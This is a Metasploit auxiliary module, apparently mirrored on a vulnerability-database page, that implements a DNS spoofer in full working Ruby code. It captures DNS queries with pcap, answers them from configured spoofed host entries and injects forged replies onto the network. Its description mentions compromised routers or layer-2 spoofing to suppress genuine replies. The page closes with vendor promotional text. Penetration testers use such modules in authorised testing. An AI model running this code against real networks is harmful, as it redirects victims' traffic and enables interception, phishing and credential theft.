`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Capture
include Msf::Exploit::Remote::DNS::Client
include Msf::Exploit::Remote::DNS::Server
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Native DNS Spoofer (Example)',
'Description' => %q{
This module provides a Rex based DNS service to resolve queries intercepted
via the capture mixin. Configure STATIC_ENTRIES to contain host-name mappings
desired for spoofing using a hostsfile or space/semicolon separated entries.
In the default configuration, the service operates as a normal native DNS server
with the exception of consuming from and writing to the wire as opposed to a
listening socket. Best when compromising routers or spoofing L2 in order to
prevent return of the real reply which causes a race condition. The method
by which replies are filtered is up to the user (though iptables works fine).
},
'Author' => 'RageLtMan <rageltman[at]sempervictus>',
'License' => MSF_LICENSE,
'References' => [],
'Actions' => [
[ 'Service', { 'Description' => 'Serve DNS entries' } ]
],
'PassiveActions' => [
'Service'
],
'DefaultAction' => 'Service',
'Notes' => {
'Reliability' => [],
'SideEffects' => [],
'Stability' => []
}
)
)
register_options(
[
OptString.new('FILTER', [false, 'The filter string for capturing traffic', 'dst port 53']),
OptAddress.new('SRVHOST', [true, 'The local host to listen on for DNS services.', '127.0.2.2'])
]
)
deregister_options('PCAPFILE')
end
#
# Wrapper for service execution and cleanup
#
def run
start_service
capture_traffic
service.wait
rescue Rex::BindFailed => e
print_error "Failed to bind to port #{datastore['RPORT']}: #{e.message}"
end
def cleanup
super
@capture_thread.kill if @capture_thread
close_pcap
end
#
# Generates reply with src and dst reversed
# Maintains original packet structure, proto, etc, changes ip_id
#
def reply_packet(pack)
rep = pack.dup
rep.eth_dst, rep.eth_src = rep.eth_src, rep.eth_dst
rep.ip_dst, rep.ip_src = rep.ip_src, rep.ip_dst
if pack.is_udp?
rep.udp_dst, rep.udp_src = rep.udp_src, rep.udp_dst
else
rep.tcp_dst, rep.tcp_src = rep.tcp_src, rep.tcp_dst
end
rep.ip_id = StructFu::Int16.new(rand(2**16))
return rep
end
#
# Configures capture and handoff
#
def capture_traffic
check_pcaprub_loaded
::Socket.do_not_reverse_lookup = true # Mac OS X workaround
open_pcap({ 'FILTER' => datastore['FILTER'] })
@capture_thread = Rex::ThreadFactory.spawn('DNSSpoofer', false) do
each_packet do |pack|
begin
parsed = PacketFu::Packet.parse(pack)
rescue StandardError => e
vprint_status('PacketFu could not parse captured packet')
elog('PacketFu could not parse captured packet', error: e)
end
begin
reply = reply_packet(parsed)
service.dispatch_request(reply, parsed.payload)
rescue StandardError => e
vprint_status('Could not process captured packet')
elog('Could not process captured packet', error: e)
end
end
end
end
#
# Creates Proc to handle incoming requests
#
def on_dispatch_request(cli, data)
return unless cli.is_a?(PacketFu::Packet)
peer = "#{cli.ip_daddr}:" << (cli.is_udp? ? cli.udp_dst.to_s : cli.tcp_dst.to_s)
# Deal with non DNS traffic
begin
req = Packet.encode_drb(data)
rescue StandardError => e
print_error("Could not decode payload segment of packet from #{peer}, check log")
dlog e.backtrace
return
end
answered = []
# Find cached items, remove request from forwarded packet
req.question.each do |ques|
cached = service.cache.find(ques.qname, ques.qtype.to_s)
if cached.empty?
next
else
cached.each do |subcached|
req.add_answer(subcached) unless req.answer.include?(subcached)
end
answered << ques
end
end
if (answered.count < req.question.count) && service.fwd_res
if req.header.rd == 0
vprint_status("Recursion forbidden in query for #{req.question.first.name} from #{peer}")
else
forward = req.dup
forward.question.delete_if { |question| answered.include?(question) }
begin
forwarded = service.fwd_res.send(Packet.validate(forward))
rescue NoResponseError
vprint_error('Did not receive a response')
return
end
unless service.cache.nil?
forwarded.answer.each do |ans|
rstring = ans.respond_to?(:address) ? "#{ans.name}:#{ans.address}" : ans.name
vprint_status("Caching response #{rstring} #{ans.type}")
service.cache.cache_record(ans)
end
end
# Merge the answers and use the upstream response
req.answer.each do |answer|
forwarded.add_answer(answer) unless forwarded.answer.include?(answer)
end
req = forwarded
end
end
req.header.qr = true
service.send_response(cli, req.encode)
end
#
# Creates Proc to handle outbound responses
#
def on_send_response(cli, data)
return unless cli.is_a?(PacketFu::Packet)
cli.payload = data
cli.recalc
inject cli.to_s
sent_info(cli, data) if datastore['VERBOSE']
end
#
# Prints information about spoofed packet after injection to reduce latency of operation
# Shown to improve response time by >50% from ~1ms -> 0.3-0.4ms
#
def sent_info(cli, data)
net = Packet.encode_net(data)
peer = "#{cli.ip_daddr}:" << (cli.is_udp? ? cli.udp_dst.to_s : cli.tcp_dst.to_s)
asked = net.question.map { |q| q.qName.delete_suffix('.') }.join(', ')
vprint_good("Sent packet with header:\n#{cli.inspect}")
vprint_good("Spoofed records for #{asked} to #{peer}")
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation